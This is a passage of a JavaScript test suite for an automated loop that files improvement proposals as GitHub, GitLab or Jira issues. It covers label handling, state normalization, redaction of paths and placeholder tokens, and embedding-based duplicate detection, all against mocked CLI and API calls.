  it('readImplementingPrState returns null on a CLI error or unparseable output (#2748)', async () => {
    expect(await readImplementingPrState({ cli: 'gh', number: 1, exec: vi.fn().mockResolvedValue({ code: 1, stdout: '' }) })).toBeNull();
    expect(await readImplementingPrState({ cli: 'gh', number: 1, exec: vi.fn().mockResolvedValue({ code: 0, stdout: 'not json' }) })).toBeNull();
    expect(await readImplementingPrState({ cli: 'gh', number: 1, exec: vi.fn().mockResolvedValue({ code: 0, stdout: '   ' }) })).toBeNull();
  });

  it('listForgeIssues normalizes GitLab "opened" state to open', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([{ iid: 7, title: 'G', description: `d ${slugMarker('g-slug')}`, state: 'opened' }])
    });
    const { ok, issues } = await listForgeIssues({ cli: 'glab', cwd: '/x', exec });
    expect(ok).toBe(true);
    expect(issues[0].number).toBe(7);
    expect(issues[0].state).toBe('open'); // 'opened' → 'open'
    expect(issues[0].slug).toBe('g-slug');
  });

  it('listForgeIssues signals ok:false on CLI failure (tracker unavailable ≠ empty)', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 1, stdout: '' });
    expect(await listForgeIssues({ cli: 'gh', cwd: '/x', exec })).toEqual({ ok: false, issues: [] });
  });

  it('listForgeIssues signals ok:true, [] on a successful empty read', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '' });
    expect(await listForgeIssues({ cli: 'gh', cwd: '/x', exec })).toEqual({ ok: true, issues: [] });
  });

  it('listForgeIssues signals ok:false on unparseable output', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'not json' });
    expect(await listForgeIssues({ cli: 'gh', cwd: '/x', exec })).toEqual({ ok: false, issues: [] });
  });

  it('listBlockingIssues uses the blocking label and normalizes state', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: JSON.stringify([{ number: 5, state: 'open' }]) });
    const res = await listBlockingIssues({ cli: 'gh', cwd: '/x', exec });
    expect(res).toEqual({ ok: true, issues: [{ number: 5, title: '', state: 'open' }] });
    expect(exec.mock.calls[0][1]).toContain(LI_BLOCKING_LABEL);
  });

  it('ensureForgeLabels creates both labels for gh', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '' });
    await ensureForgeLabels({ cli: 'gh', cwd: '/x', exec });
    const created = exec.mock.calls.map(c => c[1][2]); // gh: ['label','create',<name>,...]
    expect(created).toContain(LI_LABEL);
    expect(created).toContain(LI_BLOCKING_LABEL);
    expect(exec.mock.calls[0][1]).not.toContain('--force');
  });

  it('ensureForgeLabels accepts an existing label without overwriting it', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 1,
      stdout: '',
      stderr: 'label with this name already exists'
    });
    await expect(ensureForgeLabels({ cli: 'gh', cwd: '/x', exec })).resolves.toBeUndefined();
    expect(exec).toHaveBeenCalledTimes(2);
    expect(exec.mock.calls[0][1]).not.toContain('--force');
  });

  it('ensureForgeLabels surfaces label-create failures other than duplicates', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 1, stdout: '', stderr: 'HTTP 403: Resource not accessible' });
    await expect(ensureForgeLabels({ cli: 'gh', cwd: '/x', exec })).rejects.toThrow('HTTP 403');
  });

  it('fileProposalToForge embeds slug marker and returns issue number from URL', async () => {
    const exec = vi.fn()
      .mockResolvedValue({ code: 0, stdout: 'https://github.com/o/r/issues/123\n' });
    const res = await fileProposalToForge({ cli: 'gh', cwd: '/x', title: 'T', body: 'B', slug: 'my-slug', model: 'light', effort: 'low', exec });
    expect(res.success).toBe(true);
    expect(res.number).toBe(123);
    // The create call body carries the slug marker.
    const createCall = exec.mock.calls.find(c => c[1][0] === 'issue')[1];
    const bodyIdx = createCall.indexOf('--body') + 1;
    expect(createCall[bodyIdx]).toContain(slugMarker('my-slug'));
    expect(createCall.filter((a) => a === '--label')).toHaveLength(3);
    expect(createCall).toContain(LI_LABEL);
  });

  // #7687 — the Layered Intelligence loop's own proposal text (LLM-authored,
  // derived from an untrusted diff) never scrubbed before this filer moved
  // onto the shared `fileForgeIssue` wrapper, which scrubs by construction.
  it('strips a home-directory prefix and a credential-shaped token from the filed title and body', async () => {
    const home = homedir();
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'https://github.com/o/r/issues/9\n' });
    const res = await fileProposalToForge({
      cli: 'gh', cwd: '/x',
      title: `Sync fails under ${home}/work/demo`,
      body: `Retried with ghp_${'A'.repeat(36)} and gave up.`,
      slug: 's', model: 'light', effort: 'low', exec,
    });
    expect(res.success).toBe(true);
    const createCall = exec.mock.calls.find((c) => c[1][0] === 'issue')[1];
    const title = createCall[createCall.indexOf('--title') + 1];
    const body = createCall[createCall.indexOf('--body') + 1];
    expect(title).not.toContain(home);
    expect(title).toContain('~/work/demo');
    expect(body).not.toContain(home);
    expect(body).not.toContain('ghp_');
    expect(body).toContain('[REDACTED]');
    // The slug marker survives the scrub — it carries no path or credential
    // shape, and rewriting it would break the dedup it exists to serve.
    expect(body).toContain(slugMarker('s'));
  });

  it('fileProposalToForge creates and applies independent dispatch + contributor labels', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'https://github.com/o/r/issues/9\n' });
    const res = await fileProposalToForge({
      cli: 'gh', cwd: '/x', title: 'T', body: 'B', slug: 's',
      model: 'light', effort: 'max', goodFirstIssue: true, exec
    });
    expect(res.success).toBe(true);
    const created = exec.mock.calls.filter((c) => c[1][0] === 'label').map((c) => c[1][2]);
    expect(created).toContain(LI_LABEL);
    expect(created).toContain('model:light');
    expect(created).toContain('effort:max');
    expect(created).toContain('good first issue');
    const createCall = exec.mock.calls.find((c) => c[1][0] === 'issue')[1];
    expect(createCall).toEqual(expect.arrayContaining([
      '--label', LI_LABEL, '--label', 'model:light', '--label', 'effort:max', '--label', 'good first issue'
    ]));
  });

  it('fileProposalToForge does not invent dispatch labels from a missing hint', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'https://github.com/o/r/issues/9\n' });
    const result = await fileProposalToForge({ cli: 'gh', cwd: '/x', title: 'T', body: 'B', slug: 's', exec });
    expect(result.success).toBe(false);
    expect(exec).not.toHaveBeenCalled();
    const created = exec.mock.calls.filter((c) => c[1][0] === 'label').map((c) => c[1][2]);
    expect(created).not.toContain('model:medium');
    expect(created).not.toContain('good first issue');
  });

  it('fileProposalToForge reports failure on nonzero exit', async () => {
    const exec = vi.fn(async (_cli, args) => args[0] === 'label'
      ? { code: 0, stdout: '' }
      : { code: 1, stdout: '', stderr: 'boom' });
    const res = await fileProposalToForge({ cli: 'gh', cwd: '/x', title: 'T', body: 'B', slug: 's', model: 'heavy', effort: 'high', exec });
    expect(res.success).toBe(false);
    expect(res.error).toContain('boom');
  });

  // The label must be CREATED before it is applied: both forges 422 the whole
  // `--add-label` call on a repo that has never defined it, and this is the only
  // path that applies the blocking label — so on an install where the loop has
  // not yet filed an issue, the first pause would fail without the lazy create.
  it('applyBlockingLabel creates the blocking label before adding it', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: '' });
    const res = await applyBlockingLabel({ cli: 'gh', cwd: '/x', number: 42, exec });
    expect(res.success).toBe(true);
    const args = exec.mock.calls.map(([, a]) => a);
    const createdAt = args.findIndex((a) => a[0] === 'label' && a[1] === 'create' && a[2] === LI_BLOCKING_LABEL);
    const editedAt = args.findIndex((a) => a[0] === 'issue' && a[1] === 'edit' && a[2] === '42');
    expect(createdAt).toBeGreaterThanOrEqual(0);
    expect(editedAt).toBeGreaterThan(createdAt);
    expect(args[editedAt]).toEqual(expect.arrayContaining(['edit', '42', '--add-label', LI_BLOCKING_LABEL]));
  });

  it('applyBlockingLabel rejects a non-integer number', async () => {
    const exec = vi.fn();
    const res = await applyBlockingLabel({ cli: 'gh', cwd: '/x', number: null, exec });
    expect(res.success).toBe(false);
    expect(exec).not.toHaveBeenCalled();
  });

  it('PROPOSAL_SCOPES is the full scope set', () => {
    expect(PROPOSAL_SCOPES).toEqual(['app-improvement', 'app-data-gap', 'loop-meta', 'portos-self']);
  });
});

describe('Jira filer', () => {
  it('normalizeJiraState maps only the Done category to closed', () => {
    expect(normalizeJiraState('Done')).toBe('closed');
    expect(normalizeJiraState('done')).toBe('closed');
    expect(normalizeJiraState('In Progress')).toBe('open');
    expect(normalizeJiraState('To Do')).toBe('open');
    expect(normalizeJiraState('')).toBe('open');
    expect(normalizeJiraState(null)).toBe('open');
  });

  it('LI_JIRA_BLOCKING_LABEL is space-and-colon-free (Jira-safe)', () => {
    expect(LI_JIRA_BLOCKING_LABEL).toBe('layered-intelligence-blocking');
    expect(LI_JIRA_BLOCKING_LABEL).not.toMatch(/[\s:]/);
    // The base label is reused verbatim and is already Jira-safe.
    expect(LI_LABEL).not.toMatch(/[\s:]/);
  });

  it('listJiraIssues maps rows and reports ok:true on a successful search', async () => {
    const search = vi.fn().mockResolvedValue([
      { key: 'PROJ-1', summary: 'Do a thing', description: `body ${slugMarker('do-a-thing')}`, statusCategory: 'To Do', resolutiondate: null },
      { key: 'PROJ-2', summary: 'Done thing', description: 'no marker', statusCategory: 'Done', resolutiondate: '2026-07-01T00:00:00.000+0000' }
    ]);
    const res = await listJiraIssues({ instanceId: 'i', projectKey: 'PROJ', search });
    expect(res.ok).toBe(true);
    expect(res.issues[0]).toMatchObject({ number: 'PROJ-1', state: 'open', slug: 'do-a-thing' });
    expect(res.issues[1]).toMatchObject({ number: 'PROJ-2', state: 'closed', closedAt: '2026-07-01T00:00:00.000+0000' });
    // JQL scopes to the project and base LI label.
    expect(search.mock.calls[0][1]).toContain('project = "PROJ"');
    expect(search.mock.calls[0][1]).toContain(`labels = "${LI_LABEL}"`);
  });

  it('listJiraIssues reports ok:false on a thrown search (failed != empty)', async () => {
    const search = vi.fn().mockRejectedValue(new Error('boom'));
    const res = await listJiraIssues({ instanceId: 'i', projectKey: 'PROJ', search });
    expect(res.ok).toBe(false);
    expect(res.issues).toEqual([]);
  });

  it('listJiraIssues reports ok:false when instance/project missing', async () => {
    expect((await listJiraIssues({ instanceId: '', projectKey: 'PROJ' })).ok).toBe(false);
    expect((await listJiraIssues({ instanceId: 'i', projectKey: '' })).ok).toBe(false);
  });

  it('listJiraBlockingIssues filters to the blocking label and non-Done', async () => {
    const search = vi.fn().mockResolvedValue([{ key: 'PROJ-9', summary: 'blocker', statusCategory: 'In Progress' }]);
    const res = await listJiraBlockingIssues({ instanceId: 'i', projectKey: 'PROJ', search });
    expect(res.ok).toBe(true);
    expect(res.issues[0]).toMatchObject({ number: 'PROJ-9', state: 'open' });
    expect(search.mock.calls[0][1]).toContain(`labels = "${LI_JIRA_BLOCKING_LABEL}"`);
    expect(search.mock.calls[0][1]).toContain('statusCategory != Done');
  });

  it('fileProposalToJira embeds the slug marker + LI label and returns the key/url', async () => {
    const create = vi.fn().mockResolvedValue({ success: true, ticketId: 'PROJ-10', url: 'https://j/browse/PROJ-10' });
    const res = await fileProposalToJira({ instanceId: 'i', projectKey: 'PROJ', title: 'T', body: 'B', slug: 'add-x', create });
    expect(res).toEqual({ success: true, key: 'PROJ-10', url: 'https://j/browse/PROJ-10' });
    const payload = create.mock.calls[0][1];
    expect(payload).toMatchObject({ projectKey: 'PROJ', summary: 'T', issueType: 'Task', labels: [LI_LABEL] });
    expect(payload.description).toContain(slugMarker('add-x'));
    expect(payload.description).toContain('B');
  });

  // #8460 — the Jira filer shares the forge scrubber, and both filers append
  // the slug marker after it: a date-bearing slug would otherwise collapse to
  // `<phone>` and lose the dedup identity the next run reads back.
  it('fileProposalToJira redacts PII but keeps a date-bearing slug marker intact', async () => {
    const create = vi.fn().mockResolvedValue({ success: true, ticketId: 'PROJ-12', url: 'https://j/browse/PROJ-12' });
    await fileProposalToJira({
      instanceId: 'i', projectKey: 'PROJ', slug: 'release-2026-09-25', create,
      title: 'Mail [email protected]', body: 'Peer 192.0.2.10 on host-1.example.ts.net, call +1 555 010 0000.',
    });
    const { summary, description } = create.mock.calls[0][1];
    for (const leak of ['[email protected]', '192.0.2.10', 'host-1.example.ts.net', '+1 555 010 0000']) {
      expect(`${summary}\n${description}`).not.toContain(leak);
    }
    expect(extractSlugFromBody(description)).toBe('release-2026-09-25');
  });

  it('fileProposalToForge keeps a date-bearing slug marker intact through the scrubber', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: 'https://github.com/o/r/issues/5\n' });
    await fileProposalToForge({ cli: 'gh', cwd: '/x', title: 'T', body: 'B', slug: 'release-2026-09-25', model: 'light', effort: 'low', exec });
    const createCall = exec.mock.calls.find(c => c[1][0] === 'issue')[1];
    expect(extractSlugFromBody(createCall[createCall.indexOf('--body') + 1])).toBe('release-2026-09-25');
  });

  it('fileProposalToJira forwards hyphenated dispatch + contributor labels without deriving them', async () => {
    const create = vi.fn().mockResolvedValue({ success: true, ticketId: 'PROJ-11', url: 'https://j/browse/PROJ-11' });
    await fileProposalToJira({
      instanceId: 'i', projectKey: 'PROJ', title: 'T', body: 'B', slug: 'add-x',
      model: 'heavy', effort: 'low', goodFirstIssue: true, create
    });
    expect(create.mock.calls[0][1].labels).toEqual([
      LI_LABEL, 'model-heavy', 'effort-low', 'good-first-issue'
    ]);
  });

  it('fileProposalToJira surfaces a create failure rather than throwing', async () => {
    const create = vi.fn().mockRejectedValue(new Error('403'));
    const res = await fileProposalToJira({ instanceId: 'i', projectKey: 'PROJ', title: 'T', body: 'B', slug: 's', create });
    expect(res.success).toBe(false);
    expect(res.error).toContain('403');
  });

  it('fileProposalToJira refuses when instance/project missing', async () => {
    const res = await fileProposalToJira({ instanceId: '', projectKey: 'PROJ', title: 'T', body: 'B', slug: 's' });
    expect(res.success).toBe(false);
  });

  it('resolveJiraBlockKey resolves "this" to the filed key and an integer to <project>-<n>', () => {
    expect(resolveJiraBlockKey({ blockOnIssue: 'this' }, 'PROJ-10', 'PROJ')).toBe('PROJ-10');
    expect(resolveJiraBlockKey({ blockOnIssue: 42 }, null, 'PROJ')).toBe('PROJ-42');
    // "this" with nothing filed → null; integer with no project → null; no pause → null.
    expect(resolveJiraBlockKey({ blockOnIssue: 'this' }, null, 'PROJ')).toBe(null);
    expect(resolveJiraBlockKey({ blockOnIssue: 42 }, null, '')).toBe(null);
    expect(resolveJiraBlockKey(null, 'PROJ-1', 'PROJ')).toBe(null);
  });

  it('applyJiraBlockingLabel adds the Jira blocking label to the key', async () => {
    const addLabel = vi.fn().mockResolvedValue({ success: true });
    const res = await applyJiraBlockingLabel({ instanceId: 'i', key: 'PROJ-10', addLabel });
    expect(res.success).toBe(true);
    expect(addLabel).toHaveBeenCalledWith('i', 'PROJ-10', [LI_JIRA_BLOCKING_LABEL]);
  });

  it('applyJiraBlockingLabel refuses without a key and surfaces a thrown error', async () => {
    expect((await applyJiraBlockingLabel({ instanceId: 'i', key: null })).success).toBe(false);
    const addLabel = vi.fn().mockRejectedValue(new Error('nope'));
    const res = await applyJiraBlockingLabel({ instanceId: 'i', key: 'PROJ-1', addLabel });
    expect(res.success).toBe(false);
    expect(res.error).toContain('nope');
  });
});

describe('semantic dedup — pure helpers', () => {
  const NOW = Date.parse('2026-07-07T00:00:00Z');

  describe('isIssueWithinDedupWindow', () => {
    it('open issues are always in-window', () => {
      expect(isIssueWithinDedupWindow({ state: 'open' }, NOW)).toBe(true);
    });
    it('recently-closed issues are in-window; long-closed are not', () => {
      const recent = new Date(NOW - 5 * 24 * 60 * 60 * 1000).toISOString();
      const old = new Date(NOW - (CLOSED_SUPPRESSION_MS + 1000)).toISOString();
      expect(isIssueWithinDedupWindow({ state: 'closed', closedAt: recent }, NOW)).toBe(true);
      expect(isIssueWithinDedupWindow({ state: 'closed', closedAt: old }, NOW)).toBe(false);
    });
    it('closed with missing/unparseable close time stays permanently in-window (#2620)', () => {
      // Closed-without-closedAt (a checked `- [x]` PLAN item, or a tracker row
      // missing its close time) is completed work — it must stay suppressed,
      // not become re-proposable.
      expect(isIssueWithinDedupWindow({ state: 'closed' }, NOW)).toBe(true);
      expect(isIssueWithinDedupWindow({ state: 'closed', closedAt: 'not-a-date' }, NOW)).toBe(true);
    });
    it('agrees with isProposalDuplicate on the window boundary', () => {
      const old = new Date(NOW - (CLOSED_SUPPRESSION_MS + 1000)).toISOString();
      const existing = [{ slug: 'add-x', state: 'closed', closedAt: old }];
      expect(isProposalDuplicate({ slug: 'add-x', existingIssues: existing, now: NOW })).toBe(false);
      const recent = new Date(NOW - 1000).toISOString();
      const existing2 = [{ slug: 'add-x', state: 'closed', closedAt: recent }];
      expect(isProposalDuplicate({ slug: 'add-x', existingIssues: existing2, now: NOW })).toBe(true);
    });
  });

  describe('cosineSimilarity', () => {
    it('is 1 for identical vectors and 0 for orthogonal', () => {
      expect(cosineSimilarity([1, 2, 3], [1, 2, 3])).toBeCloseTo(1, 6);
      expect(cosineSimilarity([1, 0], [0, 1])).toBeCloseTo(0, 6);
    });
    it('returns 0 (not NaN) for shape mismatch, empty, or zero-magnitude vectors', () => {
      expect(cosineSimilarity([1, 2], [1, 2, 3])).toBe(0);
      expect(cosineSimilarity([], [])).toBe(0);
      expect(cosineSimilarity([0, 0], [1, 1])).toBe(0);
      expect(cosineSimilarity('x', [1])).toBe(0);
    });
  });

  describe('issueEmbedSeed', () => {
    it('joins trimmed title + body and caps length', () => {
      expect(issueEmbedSeed({ title: ' T ', body: ' B ' })).toBe('T\n\nB');
      expect(issueEmbedSeed({ title: '', body: 'only body' })).toBe('only body');
      expect(issueEmbedSeed({}).length).toBe(0);
      expect(issueEmbedSeed({ title: 'x'.repeat(5000) }).length).toBe(2000);
    });
  });

  describe('findSemanticDuplicate', () => {
    it('returns the highest-scoring candidate above threshold', () => {
      const p = [1, 0, 0];
      const candidates = [
        { slug: 'low', embedding: [0, 1, 0] },      // orthogonal → 0
        { slug: 'high', number: 9, embedding: [1, 0, 0] }, // identical → 1
      ];
      const match = findSemanticDuplicate({ proposalEmbedding: p, candidates, threshold: 0.9 });
      expect(match.slug).toBe('high');
      expect(match.number).toBe(9);
      expect(match.score).toBeCloseTo(1, 6);
    });
    it('returns null when nothing meets threshold, or the proposal embedding is unusable', () => {
      expect(findSemanticDuplicate({ proposalEmbedding: [1, 0], candidates: [{ embedding: [0, 1] }], threshold: 0.9 })).toBe(null);
      expect(findSemanticDuplicate({ proposalEmbedding: [], candidates: [{ embedding: [1] }] })).toBe(null);
      expect(findSemanticDuplicate({ proposalEmbedding: [1], candidates: [{ embedding: [] }, {}] })).toBe(null);
    });
  });
});

describe('checkSemanticDuplicate — I/O wrapper', () => {
  const NOW = Date.parse('2026-07-07T00:00:00Z');
  const ok = (embedding) => ({ success: true, embedding });
  const proposal = { title: 'Introduce widget', body: 'add it' };

  it('is unavailable (never suppresses) when there are no embeddable candidates', async () => {
    const embed = vi.fn(async () => ok([1, 0, 0]));
    // plan-style slug-only issue has no title/body to embed
    const res = await checkSemanticDuplicate({ proposal, existingIssues: [{ slug: 's', state: 'open' }], now: NOW, embed });
    expect(res).toEqual({ available: false, duplicate: false, match: null });
    expect(embed).not.toHaveBeenCalled();
  });

  it('is unavailable when the embeddings provider is off (skipped proposal embed)', async () => {
    const embed = vi.fn(async () => ({ skipped: true, reason: 'provider-disabled' }));
    const existing = [{ number: 3, title: 'Add widget', body: 'x', state: 'open' }];
    const res = await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed });
    expect(res.available).toBe(false);
    expect(res.duplicate).toBe(false);
  });

  it('degrades to unavailable (never rejects) on an async rejection OR a synchronous throw', async () => {
    const existing = [{ number: 3, title: 'Add widget', body: 'x', state: 'open' }];
    const asyncThrow = vi.fn(async () => { throw new Error('provider down'); });
    expect(await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed: asyncThrow }))
      .toEqual({ available: false, duplicate: false, match: null });
    // A non-async embedder that throws synchronously must also degrade, not reject.
    const syncThrow = vi.fn(() => { throw new Error('sync boom'); });
    expect(await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed: syncThrow }))
      .toEqual({ available: false, duplicate: false, match: null });
  });

  it('flags a near-duplicate when a candidate embedding is close enough', async () => {
    const embed = vi.fn(async () => ok([1, 0, 0])); // proposal + candidate both identical → score 1
    const existing = [{ number: 3, slug: 'add-widget', title: 'Add widget', body: 'x', state: 'open' }];
    const res = await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed });
    expect(res.available).toBe(true);
    expect(res.duplicate).toBe(true);
    expect(res.match.number).toBe(3);
  });

  it('checks but finds no duplicate when candidates are dissimilar', async () => {
    const embed = vi.fn(async (text) => ok(text === issueEmbedSeed({ title: proposal.title, body: proposal.body }) ? [1, 0, 0] : [0, 1, 0]));
    const existing = [{ number: 3, title: 'Unrelated', body: 'y', state: 'open' }];
    const res = await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed });
    expect(res.available).toBe(true);
    expect(res.duplicate).toBe(false);
    expect(res.match).toBe(null);
  });

  it('ignores long-closed candidates (out of the dedup window)', async () => {
    const embed = vi.fn(async () => ok([1, 0, 0]));
    const old = new Date(NOW - (CLOSED_SUPPRESSION_MS + 1000)).toISOString();
    const existing = [{ number: 3, title: 'Add widget', body: 'x', state: 'closed', closedAt: old }];
    const res = await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed });
    expect(res.available).toBe(false);
    expect(embed).not.toHaveBeenCalled();
  });

  it('caps the number of candidates embedded per run', async () => {
    const embed = vi.fn(async () => ok([0, 1, 0])); // dissimilar so nothing matches
    const existing = Array.from({ length: SEMANTIC_DEDUP_MAX_CANDIDATES + 20 }, (_, i) => ({ number: i, title: `t${i}`, body: 'b', state: 'open' }));
    await checkSemanticDuplicate({ proposal, existingIssues: existing, now: NOW, embed });
    // 1 proposal embed + at most SEMANTIC_DEDUP_MAX_CANDIDATES candidate embeds
    expect(embed.mock.calls.length).toBe(SEMANTIC_DEDUP_MAX_CANDIDATES + 1);
  });

  it('respects the threshold constant default', () => {
    expect(SEMANTIC_DEDUP_THRESHOLD).toBeGreaterThan(0);
    expect(SEMANTIC_DEDUP_THRESHOLD).toBeLessThanOrEqual(1);
  });
});

describe('listForgeIssues url surfacing (issue #2293)', () => {
  it('surfaces gh `url` on each issue', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([{ number: 12, title: 'A', body: 'x', state: 'OPEN', url: 'https://github.com/o/r/issues/12' }])
    });
    const { issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(issues[0].url).toBe('https://github.com/o/r/issues/12');
  });

  it('maps GitLab `web_url` to url', async () => {
    const exec = vi.fn().mockResolvedValue({
      code: 0,
      stdout: JSON.stringify([{ iid: 9, title: 'G', description: 'd', state: 'opened', web_url: 'https://gitlab.com/o/r/-/issues/9' }])
    });
    const { issues } = await listForgeIssues({ cli: 'glab', cwd: '/x', exec });
    expect(issues[0].url).toBe('https://gitlab.com/o/r/-/issues/9');
  });

  it('defaults url to null when neither field is present', async () => {
    const exec = vi.fn().mockResolvedValue({ code: 0, stdout: JSON.stringify([{ number: 1, title: 'A', body: 'x', state: 'OPEN' }]) });
    const { issues } = await listForgeIssues({ cli: 'gh', cwd: '/x', exec });
    expect(issues[0].url).toBeNull();
  });
});

describe('gatherSources cosMetrics windowed rate (issue #2460)', () => {
  let dir;
  beforeEach(async () => { dir = await mkdtemp(join(tmpdir(), 'lil-cosmetrics-')); });
  afterEach(async () => { await rm(dir, { recursive: true, force: true }); });

  const writeLearning = (learning) => writeFile(join(dir, 'learning.json'), JSON.stringify(learning));

  it('surfaces a recency-windowed rate distinct from the lifetime rate', async () => {
    const now = Date.now();
    const DAY = 24 * 60 * 60 * 1000;
    // Lifetime rate is dragged down by an old failure burst; the recent ring is
    // all successes → windowed rate should read high while lifetime reads low.
    await writeLearning({
      byTaskType: {
        'self-improve:ui': {
          completed: 12, succeeded: 2, failed: 10, successRate: 17, avgDurationMs: 1000,
          recentOutcomes: [
            { t: new Date(now - 40 * DAY).toISOString(), s: false }, // aged out of the 30d window
            { t: new Date(now - 2 * DAY).toISOString(), s: true },
            { t: new Date(now - 1 * DAY).toISOString(), s: true }
          ]
        }
      }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir });
    const parsed = JSON.parse(out.cosMetrics);
    expect(parsed['self-improve:ui'].lifetimeSuccessRate).toBe(17);
    expect(parsed['self-improve:ui'].lifetimeCompleted).toBe(12);
    expect(parsed['self-improve:ui'].recentSuccessRate).toBe(100);
    expect(parsed['self-improve:ui'].recentCompleted).toBe(2);
  });

  it('reports a null recentSuccessRate (not 0) when the ring is empty so LI leans on lifetime', async () => {
    await writeLearning({
      byTaskType: {
        'idle-review': { completed: 5, succeeded: 5, failed: 0, successRate: 100, recentOutcomes: [] }
      }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir });
    const parsed = JSON.parse(out.cosMetrics);
    expect(parsed['idle-review'].recentSuccessRate).toBeNull();
    expect(parsed['idle-review'].lifetimeSuccessRate).toBe(100);
  });

  it('tolerates a pre-migration bucket with no recentOutcomes key', async () => {
    await writeLearning({
      byTaskType: { 'auto-fix': { completed: 3, succeeded: 1, failed: 2, successRate: 33 } }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir });
    const parsed = JSON.parse(out.cosMetrics);
    expect(parsed['auto-fix'].recentSuccessRate).toBeNull();
    expect(parsed['auto-fix'].lifetimeSuccessRate).toBe(33);
  });

  it('does not read learning.json when cosMetrics is off', async () => {
    await writeLearning({ byTaskType: { x: { successRate: 50, recentOutcomes: [] } } });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: false } }, { cosPath: dir });
    expect(out.cosMetrics).toBeUndefined();
  });

  it('emits scopeGuidance derived from the same per-type rates on PortOS (#2760)', async () => {
    await writeLearning({
      byTaskType: {
        'self-improve:layered-intelligence': { completed: 9, succeeded: 0, failed: 9, successRate: 0, recentOutcomes: [] },
        'plan-task': { completed: 10, succeeded: 10, failed: 0, successRate: 100, recentOutcomes: [] },
        'feature-ideas': { completed: 8, succeeded: 5, failed: 3, successRate: 63, recentOutcomes: [] } // mid-band → neither
      }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir, isPortos: true });
    expect(out.scopeGuidance).toContain('LOW-COMPLETION');
    expect(out.scopeGuidance).toContain('self-improve:layered-intelligence: 0% completed over 9 runs');
    expect(out.scopeGuidance).toContain('HIGH-COMPLETION');
    expect(out.scopeGuidance).toContain('plan-task: 100% completed over 10 runs');
    expect(out.scopeGuidance).not.toContain('feature-ideas');
  });

  it('omits scopeGuidance when no scope clears the sample floor (#2760)', async () => {
    await writeLearning({
      byTaskType: { 'plan-task': { completed: 2, succeeded: 2, failed: 0, successRate: 100, recentOutcomes: [] } }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir, isPortos: true });
    expect(out.cosMetrics).toBeDefined(); // raw metrics still surfaced
    expect(out.scopeGuidance).toBeUndefined();
  });

  it('does NOT emit scopeGuidance for a managed app even when it enabled cosMetrics (#2760 codex P2)', async () => {
    // These completion rates are the install's own CoS history — irrelevant to a
    // managed app — so the derivation is gated on isPortos, not just the cosMetrics
    // toggle (which a managed app CAN turn on). cosMetrics itself is still surfaced.
    await writeLearning({
      byTaskType: { 'plan-task': { completed: 10, succeeded: 0, failed: 10, successRate: 0, recentOutcomes: [] } }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir, isPortos: false });
    expect(out.cosMetrics).toBeDefined();
    expect(out.scopeGuidance).toBeUndefined();
  });

  it('caps the number of task types per list and notes the overflow (#2760 codex P2)', async () => {
    // Overflow the cap by 3 chronically-failing types (all past the sample floor) → the
    // block must cap at SCOPE_AWARENESS_MAX_PER_LIST and note the remainder, not dump all.
    const overflow = 3;
    const total = SCOPE_AWARENESS_MAX_PER_LIST + overflow;
    const byTaskType = {};
    for (let i = 0; i < total; i++) {
      byTaskType[`self-improve:fail-scope-${i}`] = { completed: 5, succeeded: 0, failed: 5, successRate: 0, recentOutcomes: [] };
    }
    await writeLearning({ byTaskType });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir, isPortos: true });
    const listedTypes = (out.scopeGuidance.match(/self-improve:fail-scope-\d+/g) || []).length;
    expect(listedTypes).toBe(SCOPE_AWARENESS_MAX_PER_LIST);
    expect(out.scopeGuidance).toContain(`and ${overflow} more`);
  });

  it('hands the raw per-type map back for the delivery re-render, with no delivery block yet (#3085)', async () => {
    // gatherSources runs BEFORE outcomes are reconciled against this run's tracker read,
    // so it cannot know the approval count yet — emitting one here would let the
    // cosMetrics and liOutcomes blocks in the SAME prompt disagree. The hook re-renders
    // with `cosMetricsByType` once it has post-reconciliation records.
    await writeLearning({
      byTaskType: { 'user-task': { completed: 10, succeeded: 9, failed: 1, successRate: 90, recentOutcomes: [] } }
    });
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir });
    expect(out.cosMetricsByType['user-task'].lifetimeSuccessRate).toBe(90);
    expect(JSON.parse(out.cosMetrics).delivery).toBeUndefined();
  });

  it('still hands off an empty per-type map when learning.json is missing, so delivery can render (#3085)', async () => {
    // No learning.json at all: the source used to be skipped outright, which would have
    // withheld the delivery half too — and that half comes from the outcome records, not
    // from here. Hand back an empty map so the hook can still render delivery; the
    // rendered document stays omitted while BOTH halves are empty.
    const out = await gatherSources({ repoPath: dir }, { sources: { cosMetrics: true } }, { cosPath: dir });
    expect(out.cosMetricsByType).toEqual({});
    expect(out.cosMetrics).toBeUndefined();
